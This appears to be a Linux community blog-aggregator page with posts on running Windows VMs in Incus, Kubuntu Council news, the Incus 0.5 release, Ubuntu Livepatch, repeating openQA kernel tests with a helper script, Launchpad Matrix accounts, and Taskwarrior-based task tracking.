+-----------------+------------------------------------------------------------------+--------------+
| custom          | win11                                                            | iso          |
+-----------------+------------------------------------------------------------------+--------------+
...
$ 

Then, you can add the win11 volume to the win11vm virtual machine as a device called install

$ incus config device add win11vm install disk pool=default source=win11 boot.priority=3 

Then continue with starting the virtual machine.

Bonus material #3 – CPU Pinning for QEMU

Incus is using QEMU for hardware virtualization. When you install Incus, you are also installing a separate version of QEMU for the purposes of Incus. In some cases QEMU may have a hard time to perform the virtualization. It appears that this is related to how we allocate CPU cores to QEMU. If we specify that QEMU should use any 4 cores of our system, then this might cause crashes to the virtual machine. The workaround is to specify explicitly specific CPU cores, or allow QEMU to give a more equal access to the CPU to the Windows VM.

Therefore, if the Windows VM is crashing when you start it, you can try with only one of the following workarounds. In this order.

CPU Pinning

CPU Pinning in Incus means that you specify which specific CPU cores should be allocated to the VM. If you do not specify, then QEMU may switch the CPU cores while the VM is running. Normally this is OK but on some hardware configurations this does not appear to work well.

Let’s say you have a 6-core CPU, with two threads per CPU. In the following you can see two of the cores (in blue) and their respective threads (in green). When you perform CPU Pinning, you specify the thread IDs. Therefore, it makes sense to select both threads of a core.

$ incus info --resources
...
  Cores:
    - Core 0
      Frequency: 3653Mhz
      Threads:
        - 0 (id: 0, online: true, NUMA node: 0)
        - 1 (id: 6, online: true, NUMA node: 0)
    - Core 1
      Frequency: 2683Mhz
      Threads:
        - 0 (id: 1, online: true, NUMA node: 0)
        - 1 (id: 7, online: true, NUMA node: 0)
...
$

Therefore, if we want to allocate the two full cores of the CPU (4 vCPUs) to Windows, we would need to specify the IDs 0, 6, 1, 7. Therefore, we would run the following, then start the virtual machine.

incus config set win11vm limits.cpu 0,1,6,7

Thanks to Mark in the comments for the tip.

Using -cpu host

When you run QEMU, you tend to give less access to the features of the CPU to the virtual machine. It’s good to do that. However, when the virtual machine does not work, you may have to give more access to the CPU features to the VM. In my case I had some issues with the Windows VM crashing as soon as it started running. I resolved this my recreating the VM. It that fails, and CPU pinning does not help, then the ultimate workaround is to give more access to the CPU to the VM.

Append the following to the raw.qemu line. It gives a fuller access to the features of the CPU to the virtual machine. This might have a small impact to the host’s speed.

-cpu host

Thanks to Stéphane for the hint.

Troubleshooting

Error: This revision of snap "distrobuilder" was published using classic confinement...

You are trying to install the distrobuilder snap package. It does not install.

distrobuilder requires full access to your system because it uses loop devices, etc. Snap packages are confined. Therefore, by using the classic confinement, distrobuilder does not have any restrictions. To accept the classic confinement, you need to specify it when installing the package. Therefore, install distrobuilder by running the following command.

$ sudo snap install distrobuilder --classic
distrobuilder 3.0 from Stéphane Graber (stgraber) installed
$ 

Error: You must be root to run this tool

When you run the distrobuilder, you get the error message that you must be root to run the tool.

Indeed, you need elevated permissions to run distrobuilder. Run it either as root, or pre-pend sudo when running it.

Error: Failed to check dependencies: Required tool “hivexregedit” is missing

Error: Failed to check dependencies: Required tool “wimlib-imagex” is missing

Error: Failed to check dependencies: Required tool “rsync” is missing

You are trying to run distrobuilder and prepare a Windows ISO. You get this error message.

The snap package for Distrobuilder has package dependencies from the host but since it is a snap package, it is not able to pull them in automatically. Therefore if you get this error, you need to install the following packages first.

$ sudo apt install -y libguestfs-tools wimtools rsync

Error: Failed add validation for device "install": Missing source path for disk "install"

You are trying to attach the ISO image to an Incus VM and it fails.

Double-check the path to the ISO file. If you copy-pasted the command, you would need to update the path.

Error: The instance is already running

You are trying to start an Incus VM and you get the message that the instance is already running.

In that case, you should reconnect to the VM, using the following command.

$ incus console win11vm --type=vga

Error: Instance is not running

You are trying to reconnect to an Incus VM and you get the message that the instance is not running.

In that case, you should start the instance, using the following command.

$ incus start win11vm --console=vga

Error: Failed to detect Windows version. Please provide the version using the --windows-version flag

You are trying to prepare an ISO for a version of Windows such as Windows 7 or Windows 8.1 or Windows Server 2012.

distrobuilder tries to detect automatically the version of Windows in the ISO file. If it does not, you get the option to specify the version. The currently supported versions are

  1. Windows 11, use w11
  2. Windows 10, use w10
  3. Windows Server 2012, use 2k12
  4. Windows Server 2016, use 2k16
  5. Windows Server 2019, use 2k19
  6. Windows Server 2022, use 2k22

Error: Windows crashes during the first moments of booting up

When booting the virtual machine and the Windows ISO is starting up, it is possible for Windows to crash withing a few moments. And then keep crashing. While writing this tutorial and trying the instructions several times, I got into a case that Windows kept crashing. It was not clear why it was happening. I eventually removed the VM and started over again. Then it work.

If you get into such a situation, it is important to collect information in order to figure out why it happens. In any case, a workaround is to add the following configuration. We appended to the instructions in QEMU the -cpu host directive. This means that QEMU will emulate a CPU that is the same as the host.

incus profile set windows raw.qemu="-device intel-hda -device hda-duplex -cpu host"
or
incus config set win11vm raw.qemu -- "-device intel-hda -device hda-duplex cpu host"

How much space is available in Incus to use for my VM?

First we find the name of the Incus storage pool. Then, we ask Incus to show the free space in that storage pool. In this case, 60GB is used by all instances and there’s still plenty of space to go.

$ incus storage list
+---------+--------+---------+-------------+---------+---------+
|  NAME   | DRIVER | SOURCE  | DESCRIPTION | USED BY |  STATE  |
+---------+--------+---------+-------------+---------+---------+
| default | zfs    | default |             | 65      | CREATED |
+---------+--------+---------+-------------+---------+---------+
$ incus storage info default
info:
  description: ""
  driver: zfs
  name: default
  space used: 98.65GiB
  total space: 512.22GiB
used by:
...
$ 

In this example, the total space is about 500GB and we have used only about 100GB. Plenty of free space for VMs.

Which version of Windows should I use in the Incus VM?

If you want a VM with Windows and you are not particularly interested in a specific version of Windows, I suggest to opt for Windows 10. Unlike Windows 10, Windows 11 23H2 require a disk partition of at least 52GB of space and they refuse to install if you do not provide enough space. In contrast, Windows 10 will happily install with less space, like 32GB of disk space.

When you install Windows 11, it takes up about 18GB of disk space. When you install Windows 10, it takes up about 12GB of disk space.

How to get logs of the virtual machine if something goes wrong?

You can use the following command. It shows info from the instance, including any available logs. In this example, there aren’t any logs.

$ incus info --show-log win11vm
Name: win11vm
Status: STOPPED
Type: virtual-machine
Architecture: x86_64
Created: 2024/02/01 00:00 GMT+0
Last Used: 2024/02/01 01:23 GMT+0

Log:

$ 

I am using Fedora. What are the dependencies for distrobuilder?

If you use Fedora and you want to run distrobuilder from there, you need to install the following packages.

sudo yum install -y genisoimage perl-hivex wimlib-utils
on February 01, 2024 12:15 AM

January 31, 2024

Greetings, Kubuntu Community!

Today marked an important Kubuntu Council meeting, where we witnessed significant progress and collaboration among our esteemed council members – Darin Miller, Rik Mills, Valorie Zimmerman, Aaron Honeycutt, Jonathan Riddell (Kubuntu Treasurer), and Simon Quigley(Lubuntu). In this blog post, we’re excited to share the highlights and outcomes of the discussions that took place.

  1. Focus on the Upcoming Kubuntu LTS Release 24.04

    A primary focus of our meeting was setting the objectives for the imminent Kubuntu LTS release. The council engaged in in-depth discussions to ensure that the upcoming release meets the high expectations of our community and continues the Kubuntu legacy of excellence.
  2. Ubuntu Flavours Statement of LTS Support

    Understanding the importance of clear communication, we considered the necessity of a statement regarding Long-Term Support (LTS) required by Ubuntu recognised flavours. This move aligns with our commitment to provide transparency and detailed information to our users.
  3. Exciting Collaboration with Scarlett Gately Moore

    We’re thrilled to announce that we have agreed to contract Scarlett Gately Moore for a three-month period. With a preliminary budget allocated, Scarlett will play a crucial role in delivering key projects:-

    – The 24.04 LTS Release,
    – Updating the Kubuntu Installer to Calamares,
    – Preparing an Alpha of Plasma 6 targeting the 24.10 release.

    This decision was unanimously agreed upon and reflects our dedication to continually enhancing Kubuntu.

Actions Moving Forward:

Coordination and Oversight: Simon Quigley will be coordinating with Rik Mills and Scarlett Moore, managing the intricate details and ensuring the smooth delivery of our objectives.

Financial Processes: Simon Quigley will oversee the invoicing process with Scarlett Moore, following the agreed pro-forma. Jonathan Riddell, our Kubuntu Treasurer, will handle the commissioning of payments.

Communication and Documentation: As a part of our commitment to keep the community informed, I, Rick Timmis, will be updating the Kubuntu Council mailing list about the meeting’s outcomes. Additionally, I will draft an LTS Statement for submission to the Ubuntu Technical Board, detailing our approach and commitment to Kubuntu’s Long-Term Support.

This meeting was a testament to the dedication and passion of our council members and the broader Kubuntu community. We’re excited about the direction in which Kubuntu is heading and are eager to see the fruition of these projects.

Stay tuned for more updates, and thank you for your continued support of Kubuntu!

Closing:

Best Regards,

Rick Timmis
Kubuntu Council

on January 31, 2024 06:44 PM

January 30, 2024

There’s a YouTube channel called Clickspring, run by an Australian bloke called Chris who is a machinist: a mechanical engineer with a lathe and a mill and all manner of little tools. I am not a machinist — at school I was fairly inept at what we called CDT, for Craft Design and Technology, and what Americans much more prosaically call “shop class”. My dad was, though, or an engineer at least. Although Chris builds clocks and beautiful brass mechanisms, and my dad built aeroplanes. Heavy engineering. All my engineering is software, which actual engineers don’t think is engineering at all, and most of the time I don’t either.

You can romanticise it: claim that software development isn’t craft, it’s art. And there is a measure of truth in this. It’s like writing, which is the other thing I spend a lot of time doing for money; that’s an art, too.

If you’re doing it right, at least.

Most of the writing that’s done, though, isn’t art. And most of the software development isn’t, either. Or most of the engineering. For every one person creating beauty in prose or code or steel, there are fifty just there doing the job with no emotional investment in what they’re doing at all. Honestly, that’s probably a good thing, and not a complaint. While I might like the theoretical idea of a world where everything is hand made by someone who cares, I don’t think that you should have to care in order to get paid. The people who are paying you don’t care, so you shouldn’t have to either.

It’s nice if you can swing it so you get both, though.

The problem is that it’s not possible to instruct someone to give a damn. You can’t regulate the UK government into giving a damn about people who fled a war to come here to find their dream of being a nurse, you can’t regulate Apple bosses into giving a damn about the open web, you can’t regulate CEOs into giving a damn about their employees or governments about their citizens or landlords about their tenants. That’s not what regulation is for; people who give a damn largely don’t need regulation because they want to do the right thing. They might need a little steering into knowing what the right thing is, but that’s not the same.

No, regulation is there as a reluctant compromise: since you can’t make people care, the best you can do is in some rough and ready fashion make them behave in a similar way to the way they would if they did. Of course, this is why the most insidious kind of response is not an attempt to evade responsibility but an attack on the system of regulation itself. Call judges saboteurs or protesters criminals or insurgents patriots. And why the most heinous betrayal is one done in the name of the very thing you’re destroying. Claim to represent the will of the people while hurting those people. Claim to be defending the law while hiding violence and murder behind a badge. Claim privacy as a shield for surveillance or for exclusion. We all sorta thought that the system could protect us, that those with the power could be trusted to use it at least a little responsibly. And the last year has been one more in a succession of years demonstrating just how wrong that is. This and no other is the root from which a tyrant springs; when he first appears he is a protector.

The worst thing about it is that the urge to protect other people is not only real but the best thing about ourselves. When it’s actually real. Look after others, especially those who need it, and look after yourself, because you’re one of the people who needs it.

Chris from Clickspring polishes things to a high shine using tin, which surprised me. I thought bringing out the beauty in something needed a soft cloth but no, it’s done with metal. Some things, like silver, are basically shiny with almost no effort; there’s a reason people have prized silver things since before we could even write down why, and it’s not just because you could find lumps of it lying around the place with no need to build a smelting furnace. Silver looks good, and makes you look good in turn. Tin is useful, and it helps polish other things to a high shine.

Today’s my 48th birthday. A highly composite number. The ways Torah wisdom is acquired. And somewhere between silver and tin. That sounds OK to me.

on January 30, 2024 09:50 PM

January 26, 2024

Announcing Incus 0.5

Stéphane Graber

Incus 0.5 is now out as the first release of 2024!

This is the first release featuring no imported changes from the LXD project, following Canonical’s decision to re-license LXD and add in a CLA. You’ll find details about that in one of my previous posts.

Overall, it’s a pretty busy release with a good mix of CLI improvements, new features for VM users, more flexibility around cluster evacuations and host shutdowns and a few more API improvements.

A variety of 3rd party tools have also been getting Incus support since the previous release, including, Ansible, Terraform/OpenTofu and Packer.

Also of note, we now have native distribution packages for Arch Linux, Debian, Gentoo, NixOS, Ubuntu and Void Linux. With ongoing work on a native Fedora package (COPR repo available until then).
We’ve updated our installation instructions to cover all of those!

The full announcement and changelog can be found here.
And for those who prefer videos, here’s the release overview video:

As always, you can take Incus up for a spin through our online demo service at: https://linuxcontainers.org/incus/try-it/

Just a quick reminder that my company is offering commercial support on Incus, ranging from by-the-hour support contracts to one-off services on things like initial migration from LXD, review of your deployment to squeeze the most out of Incus or even feature sponsorship.
You’ll find all details of that here: https://zabbly.com/incus

Donations towards my work on this and other open source projects is also always appreciated, you can find me on Github Sponsors, Patreon and Ko-fi.

And lastly, a quick note that I’ll be at FOSDEM next week, so if you’re attending and want to come say hi, you’ll find me in the containers devroom on Saturday and the kernel devroom on Sunday!

on January 26, 2024 09:45 PM

January 25, 2024

Linux kernel getting a livepatch whilst running a marathon. Generated with AI.

Livepatch service eliminates the need for unplanned maintenance windows for high and critical severity kernel vulnerabilities by patching the Linux kernel while the system runs. Originally the service launched in 2016 with just a single kernel flavour supported.

Over the years, additional kernels were added: new LTS releases, ESM kernels, Public Cloud kernels, and most recently HWE kernels too.

Recently livepatch support was expanded for FIPS compliant kernels, Public cloud FIPS compliant kernels, and as well IBM Z (mainframe) kernels. Bringing the total of kernel flavours support to over 60 distinct kernel flavours supported in parallel. The table of supported kernels in the documentation lists the supported kernel flavours ABIs, the duration of individual build's support window, supported architectures, and the Ubuntu release. This work was only possible thanks to the collaboration with the Ubuntu Certified Public Cloud team, engineers at IBM for IBM Z (s390x) support, Ubuntu Pro team, Livepatch server & client teams.

It is a great milestone, and I personally enjoy seeing the non-intrusive popup on my Ubuntu Desktop that a kernel livepatch was applied to my running system. I do enable Ubuntu Pro on my personal laptop thanks to the free Ubuntu Pro subscription for individuals.

What's next? The next frontier is supporting ARM64 kernels. The Canonical kernel team has completed the gap analysis to start supporting Livepatch Service for ARM64. Upstream Linux requires development work on the consistency model to fully support livepatch on ARM64 processors. Livepatch code changes are applied on a per-task basis, when the task is deemed safe to switch over. This safety check depends mostly on kernel stacktraces. For these checks, CONFIG_HAVE_RELIABLE_STACKTRACE needs to be available in the upstream ARM64 kernel. (see The Linux Kernel Documentation). There are preliminary patches that enable reliable stacktraces on ARM64, however these turned out to be problematic as there are lots of fix revisions that came after the initial patchset that AWS ships with 5.10. This is a call for help from any interested parties. If you have engineering resources and are interested in bringing Livepatch Service to your ARM64 platforms, please reach out to the Canonical Kernel team on the public Ubuntu Matrix, Discourse, and mailing list. If you want to chat in person, see you at FOSDEM next weekend.

on January 25, 2024 06:01 PM
Lubuntu 23.04 has reached end-of-life as of today, January 25, 2024. It will no longer receive software updates (including security fixes) or technical support. All users are urged to upgrade to Lubuntu 23.10 as soon as possible to stay secure. You can upgrade to Lubuntu 23.10 without reinstalling Lubuntu from scratch by following the official […]
on January 25, 2024 04:18 PM

This is a follow up to my previous post about How to test things with openQA without running your own instance, so you might want to read that first.

Now, while hunting for bsc#1219073 which is quite sporadic, and took quite some time to show up often enough so that became noticeable and traceable, once stars aligned and managed to find a way to get a higher failure rate, I wanted to have a way for me and for the developer to test the kernel with the different patches to help with the bisecting and ease the process of finding the culprit and finding a solution for it.

I came with a fairly simple solution, using the --repeat parameter of the openqa-cli tool, and a simple shell script to run it:

```bash
$ cat ~/Downloads/trigger-kernel-openqa-mdadm.sh
# the kernel repo must be the one without https; tests don't have the kernel CA installed
KERNEL="KOTD_REPO=http://download.opensuse.org/repositories/Kernel:/linux-next/standard/"

REPEAT="--repeat 100" # using 100 by default
JOBS="https://openqa.your.instan.ce/tests/13311283 https://openqa.your.instan.ce/tests/13311263 https://openqa.your.instan.ce/tests/13311276 https://openqa.your.instan.ce/tests/13311278"
BUILD="bsc1219073"
for JOB in $JOBS; do 
	openqa-clone-job --within-instance $JOB CASEDIR=https://github.com/foursixnine/os-autoinst-distri-opensuse.git#tellmewhy ${REPEAT} \
		_GROUP=DEVELOPERS ${KERNEL} BUILD=${BUILD} FORCE_SERIAL_TERMINAL=1\
		TEST="${BUILD}_checkmdadm" YAML_SCHEDULE=schedule/qam/QR/15-SP5/textmode/textmode-skip-registration-extra.yaml INSTALLONLY=0 DESKTOP=textmode\
		|& tee jobs-launched.list;
done;

There are few things to note here:

  • the kernel repo must be the one without https; tests don’t have the CA installed by default.
  • the --repeat parameter is set to 100 by default, but can be changed to whatever number is desired.
  • the JOBS variable contains the list of jobs to clone and run, having all supported architecures is recommended (at least for this case)
  • the BUILD variable can be anything, but it’s recommended to use the bug number or something that makes sense.
  • the TEST variable is used to set the name of the test as it will show in the test overview page, you can use TEST+=foo if you want to append text instead of overriding it, the --repeat parameter, will append a number incrementally to your test, see os-autoinst/openQA#5331 for more details.
  • the YAML_SCHEDULE variable is used to set the yaml schedule to use, there are other ways to modify the schedule, but in this case I want to perform a full installation

Running the script

  • Ensure you can run at least the openQA client; if you need API keys, see post linked at the beginning of this post
  • replace the kernel repo with your branch in line 5
  • run the script $ bash trigger-kernel-openqa-mdadm.sh and you should get the following, times the --repeat if you modified it
1 job has been created:
 - sle-15-SP5-Full-QR-x86_64-Build134.5-skip_registration+workaround_modules@64bit -> https://openqa.your.instan.ce/tests/13345270

Each URL, will be a job triggered in openQA, depending on the load and amount of jobs, you might need to wait quite a bit (some users can help moving the priority of these jobs so it executes faster)

The review stuff:

Looking at the results

  • Go to https://openqa.your.instan.ce/tests/overview?distri=sle&build=bsc1219073&version=15-SP5 or from any job from the list above click on Job groups menu at the top, and select Build bsc1219073
  • Click on “Filter”
  • type the name of the test module to filter in the field Module name, e.g mdadm, and select the desired result of such test module e.g failed (you can also type, and select multiple result types)
  • Click Apply
  • The overall summary of the build overview page, will provide you with enough information to calculate the pass/fail rate.

A rule of thumb: anything above 5% is bad, but you need to also understand your sample size + the setup you’re using; YMMV.

Ain’t nobody got time to wait

The script will generate a file called: jobs-launched.list, in case you absolutely need to change the priority of the jobs, set it to 45, so it runs higher than default priority, which is 50 cat jobs-launched.list | grep https | sed -E 's/^.*->\s.*tests\///' | xargs -r -I {} bash -c "openqa-cli api --osd -X POST jobs/{}/prio prio=45; sleep 1"

The magic

The actual magic is in the schedule, so right after booting the system and setting it up, before running the mdadm test, I inserted the update_kernel module, which will add the kernel repo specified by KOTD_REPO, and install the kernel from there, reboot the system, and leave the system ready for the actual test, however I had to add very small changes:

---
 tests/kernel/update_kernel.pm | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/kernel/update_kernel.pm b/tests/kernel/update_kernel.pm
index 1d6312bee0dc..048da593f68f 100644
--- a/tests/kernel/update_kernel.pm
+++ b/tests/kernel/update_kernel.pm
@@ -398,7 +398,7 @@ sub boot_to_console {
 sub run {
     my $self = shift;
 
-    if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional) {
+    if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional || get_var('FORCE_SERIAL_TERMINAL')) {
         # System is already booted after installation, just switch terminal
         select_serial_terminal;
     } else {
@@ -476,7 +476,7 @@ sub run {
         reboot_on_changes;
     } elsif (!get_var('KGRAFT')) {
         power_action('reboot', textmode => 1);
-        $self->wait_boot if get_var('LTP_BAREMETAL');
+        $self->wait_boot if (get_var('FORCE_SERIAL_TERMINAL') || get_var('LTP_BAREMETAL'));
     }
 }
 

Likely I’ll make a new pull request to have this in the test distribution, but for now this is good enough to help kernel developers to do some self-service and trigger their own openQA tests, that have many more tests (hopefully in parallel) and faster than if there was a person doing all of this manually.

Special thanks to the QE Kernel team, who do the amazing job of thinking of some scenarios like this, because they save a lot of time.

on January 25, 2024 12:00 AM

layout: post title: Testing kernels with sporadic issues until heisenbug shows in openQA categories:

Now, while hunting for bsc#1219073 which is quite sporadic, and took quite some time to show up often enough so that became noticeable and traceable, once stars aligned and managed to find a way to get a higher failure rate, I wanted to have a way for me and for the developer to test the kernel with the different patches to help with the bisecting and ease the process of finding the culprit and finding a solution for it.

I came with a fairly simple solution, using the --repeat parameter of the openqa-cli tool, and a simple shell script to run it:

```bash
$ cat ~/Downloads/trigger-kernel-openqa-mdadm.sh
# the kernel repo must be the one without https; tests don't have the kernel CA installed
KERNEL="KOTD_REPO=http://download.opensuse.org/repositories/Kernel:/linux-next/standard/"

REPEAT="--repeat 100" # using 100 by default
JOBS="https://openqa.your.instan.ce/tests/13311283 https://openqa.your.instan.ce/tests/13311263 https://openqa.your.instan.ce/tests/13311276 https://openqa.your.instan.ce/tests/13311278"
BUILD="bsc1219073"
for JOB in $JOBS; do 
	openqa-clone-job --within-instance $JOB CASEDIR=https://github.com/foursixnine/os-autoinst-distri-opensuse.git#tellmewhy ${REPEAT} \
		_GROUP=DEVELOPERS ${KERNEL} BUILD=${BUILD} FORCE_SERIAL_TERMINAL=1\
		TEST="${BUILD}_checkmdadm" YAML_SCHEDULE=schedule/qam/QR/15-SP5/textmode/textmode-skip-registration-extra.yaml INSTALLONLY=0 DESKTOP=textmode\
		|& tee jobs-launched.list;
done;

There are few things to note here:

  • the kernel repo must be the one without https; tests don’t have the CA installed by default.
  • the --repeat parameter is set to 100 by default, but can be changed to whatever number is desired.
  • the JOBS variable contains the list of jobs to clone and run, having all supported architecures is recommended (at least for this case)
  • the BUILD variable can be anything, but it’s recommended to use the bug number or something that makes sense.
  • the TEST variable is used to set the name of the test as it will show in the test overview page, you can use TEST+=foo if you want to append text instead of overriding it, the --repeat parameter, will append a number incrementally to your test, see os-autoinst/openQA#5331 for more details.
  • the YAML_SCHEDULE variable is used to set the yaml schedule to use, there are other ways to modify the schedule, but in this case I want to perform a full installation

Running the script

  • Ensure you can run at least the openQA client; if you need API keys, see post linked at the beginning of this post
  • replace the kernel repo with your branch in line 5
  • run the script $ bash trigger-kernel-openqa-mdadm.sh and you should get the following, times the --repeat if you modified it
1 job has been created:
 - sle-15-SP5-Full-QR-x86_64-Build134.5-skip_registration+workaround_modules@64bit -> https://openqa.your.instan.ce/tests/13345270

Each URL, will be a job triggered in openQA, depending on the load and amount of jobs, you might need to wait quite a bit (some users can help moving the priority of these jobs so it executes faster)

The review stuff:

Looking at the results

  • Go to https://openqa.your.instan.ce/tests/overview?distri=sle&build=bsc1219073&version=15-SP5 or from any job from the list above click on Job groups menu at the top, and select Build bsc1219073
  • Click on “Filter”
  • type the name of the test module to filter in the field Module name, e.g mdadm, and select the desired result of such test module e.g failed (you can also type, and select multiple result types)
  • Click Apply
  • The overall summary of the build overview page, will provide you with enough information to calculate the pass/fail rate.

A rule of thumb: anything above 5% is bad, but you need to also understand your sample size + the setup you’re using; YMMV.

Ain’t nobody got time to wait

The script will generate a file called: jobs-launched.list, in case you absolutely need to change the priority of the jobs, set it to 45, so it runs higher than default priority, which is 50 cat jobs-launched.list | grep https | sed -E 's/^.*->\s.*tests\///' | xargs -r -I {} bash -c "openqa-cli api --osd -X POST jobs/{}/prio prio=45; sleep 1"

The magic

The actual magic is in the schedule, so right after booting the system and setting it up, before running the mdadm test, I inserted the update_kernel module, which will add the kernel repo specified by KOTD_REPO, and install the kernel from there, reboot the system, and leave the system ready for the actual test, however I had to add very small changes:

---
 tests/kernel/update_kernel.pm | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/tests/kernel/update_kernel.pm b/tests/kernel/update_kernel.pm
index 1d6312bee0dc..048da593f68f 100644
--- a/tests/kernel/update_kernel.pm
+++ b/tests/kernel/update_kernel.pm
@@ -398,7 +398,7 @@ sub boot_to_console {
 sub run {
     my $self = shift;
 
-    if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional) {
+    if ((is_ipmi && get_var('LTP_BAREMETAL')) || is_transactional || get_var('FORCE_SERIAL_TERMINAL')) {
         # System is already booted after installation, just switch terminal
         select_serial_terminal;
     } else {
@@ -476,7 +476,7 @@ sub run {
         reboot_on_changes;
     } elsif (!get_var('KGRAFT')) {
         power_action('reboot', textmode => 1);
-        $self->wait_boot if get_var('LTP_BAREMETAL');
+        $self->wait_boot if (get_var('FORCE_SERIAL_TERMINAL') || get_var('LTP_BAREMETAL'));
     }
 }
 

Likely I’ll make a new pull request to have this in the test distribution, but for now this is good enough to help kernel developers to do some self-service and trigger their own openQA tests, that have many more tests (hopefully in parallel) and faster than if there was a person doing all of this manually.

Special thanks to the QE Kernel team, who do the amazing job of thinking of some scenarios like this, because they save a lot of time.

on January 25, 2024 12:00 AM

January 22, 2024

Users can now add their Matrix accounts to their profile in Launchpad, as requested by Canonical’s Community team.

We also took the chance to slightly rework the frontend and how we display social accounts in the user profiles. Instead of having different sections in the profile for each social account , all social accounts are now all under a “Social Accounts” section.

Adding a new matrix account to your profile works similarly to how it has always worked for other accounts. Under the “Social Accounts” section in your user profile, you should now see a “No matrix accounts registered” and an edit button that will lead you to the Matrix accounts edit page. To edit, remove or add new ones, you will see an edit button in front of your newly added accounts in your profile.

We also added new API endpoints Person.social_accounts and Person.getSocialAccountsByPlatform() that will list the social accounts for a user. For more information, see our API documentation.

Currently, only Matrix was added as a social platform. But during this process, we made it much easier for Launchpad developers to add new social platforms to Launchpad in the future.

on January 22, 2024 04:30 PM

January 17, 2024

Task management

Colin Watson

Now that I’m freelancing, I need to actually track my time, which is something I’ve had the luxury of not having to do before. That meant something of a rethink of the way I’ve been keeping track of my to-do list. Up to now that was a combination of things like the bug lists for the projects I’m working on at the moment, whatever task tracking system Canonical was using at the moment (Jira when I left), and a giant flat text file in which I recorded logbook-style notes of what I’d done each day plus a few extra notes at the bottom to remind myself of particularly urgent tasks. I could have started manually adding times to each logbook entry, but ugh, let’s not.

In general, I had the following goals (which were a bit reminiscent of my address book):

  • free software throughout
  • storage under my control
  • ability to annotate tasks with URLs (especially bugs and merge requests)
  • lightweight time tracking (I’m OK with having to explicitly tell it when I start and stop tasks)
  • ability to drive everything from the command line
  • decent filtering so I don’t have to look at my entire to-do list all the time
  • ability to easily generate billing information for multiple clients
  • optionally, integration with Android (mainly so I can tick off personal tasks like “change bedroom lightbulb” or whatever that don’t involve being near a computer)

I didn’t do an elaborate evaluation of multiple options, because I’m not trying to come up with the best possible solution for a client here. Also, there are a bazillion to-do list trackers out there and if I tried to evaluate them all I’d never do anything else. I just wanted something that works well enough for me.

Since it came up on Mastodon: a bunch of people swear by Org mode, which I know can do at least some of this sort of thing. However, I don’t use Emacs and don’t plan to use Emacs. nvim-orgmode does have some support for time tracking, but when I’ve tried vim-based versions of Org mode in the past I’ve found they haven’t really fitted my brain very well.

Taskwarrior and Timewarrior

One of the other Freexian collaborators mentioned Taskwarrior and Timewarrior, so I had a look at those.

The basic idea of Taskwarrior is that you have a task command that tracks each task as a blob of JSON and provides subcommands to let you add, modify, and remove tasks with a minimum of friction. task add adds a task, and you can add metadata like project:Personal (I always make sure every task has a project, for ease of filtering). Just running task shows you a task list sorted by Taskwarrior’s idea of urgency, with an ID for each task, and there are various other reports with different filtering and verbosity. task <id> annotate lets you attach more information to a task. task <id> done marks it as done. So far so good, so a redacted version of my to-do list looks like this:

$ task ls

ID A Project     Tags                 Description
17   Freexian                         Add Incus support to autopkgtest [2]
 7   Columbiform                      Figure out Lloyds online banking [1]
 2   Debian                           Fix troffcvt for groff 1.23.0 [1]
11   Personal                         Replace living room curtain rail

Once I got comfortable with it, this was already a big improvement. I haven’t bothered to learn all the filtering gadgets yet, but it was easy enough to see that I could do something like task all project:Personal and it’d show me both pending and completed tasks in that project, and that all the data was stored in ~/.task - though I have to say that there are enough reporting bells and whistles that I haven’t needed to poke around manually. In combination with the regular backups that I do anyway (you do too, right?), this gave me enough confidence to abandon my previous text-file logbook approach.

Next was time tracking. Timewarrior integrates with Taskwarrior, albeit in an only semi-packaged way, and it was easy enough to set that up. Now I can do:

$ task 25 start
Starting task 00a9516f 'Write blog post about task tracking'.
Started 1 task.
Note: '"Write blog post about task tracking"' is a new tag.
Tracking Columbiform "Write blog post about task tracking"
  Started 2024-01-10T11:28:38
  Current                  38
  Total               0:00:00
You have more urgent tasks.
Project 'Columbiform' is 25% complete (3 of 4 tasks remaining).

When I stop work on something, I do task active to find the ID, then task <id> stop. Timewarrior does the tedious stopwatch business for me, and I can manually enter times if I forget to start/stop a task. Then the really useful bit: I can do something like timew summary :month <name-of-client> and it tells me how much to bill that client for this month. Perfect.

I also started using VIT to simplify the day-to-day flow a little, which means I’m normally just using one or two keystrokes rather than typing longer commands. That isn’t really necessary from my point of view, but it does save some time.

Android integration

I left Android integration for a bit later since it wasn’t essential. When I got round to it, I have to say that it felt a bit clumsy, but it did eventually work.

The first step was to set up a taskserver. Most of the setup procedure was OK, but I wanted to use Let’s Encrypt to minimize the amount of messing around with CAs I had to do. Getting this to work involved hitting things with sticks a bit, and there’s still a local CA involved for client certificates. What I ended up with was a certbot setup with the webroot authenticator and a custom deploy hook as follows (with cert_name replaced by a DNS name in my house domain):

#! /bin/sh
set -eu

cert_name=taskd.example.org

found=false
for domain in $RENEWED_DOMAINS; do
    case "$domain" in
        $cert_name)
            found=:
            ;;
    esac
done
$found || exit 0

install -m 644 "/etc/letsencrypt/live/$cert_name/fullchain.pem" \
    /var/lib/taskd/pki/fullchain.pem
install -m 640 -g Debian-taskd "/etc/letsencrypt/live/$cert_name/privkey.pem" \
    /var/lib/taskd/pki/privkey.pem

systemctl restart taskd.service

I could then set this in /etc/taskd/config (server.crl.pem and ca.cert.pem were generated using the documented taskserver setup procedure):

server.key=/var/lib/taskd/pki/privkey.pem
server.cert=/var/lib/taskd/pki/fullchain.pem
server.crl=/var/lib/taskd/pki/server.crl.pem
ca.cert=/var/lib/taskd/pki/ca.cert.pem

Then I could set taskd.ca on my laptop to /usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt and otherwise follow the client setup instructions, run task sync init to get things started, and then task sync every so often to sync changes between my laptop and the taskserver.

I used TaskWarrior Mobile as the client. I have to say I wouldn’t want to use that client as my primary task tracking interface: the setup procedure is clunky even beyond the necessity of copying a client certificate around, it expects you to give it a .taskrc rather than having a proper settings interface for that, and it only seems to let you add a task if you specify a due date for it. It also lacks Timewarrior integration, so I can only really use it when I don’t care about time tracking, e.g. personal tasks. But that’s really all I need, so it meets my minimum requirements.

Next?

Considering this is literally the first thing I tried, I have to say I’m pretty happy with it. There are a bunch of optional extras I haven’t tried yet, but in general it kind of has the vim nature for me: if I need something it’s very likely to exist or easy enough to build, but the features I don’t use don’t get in my way.

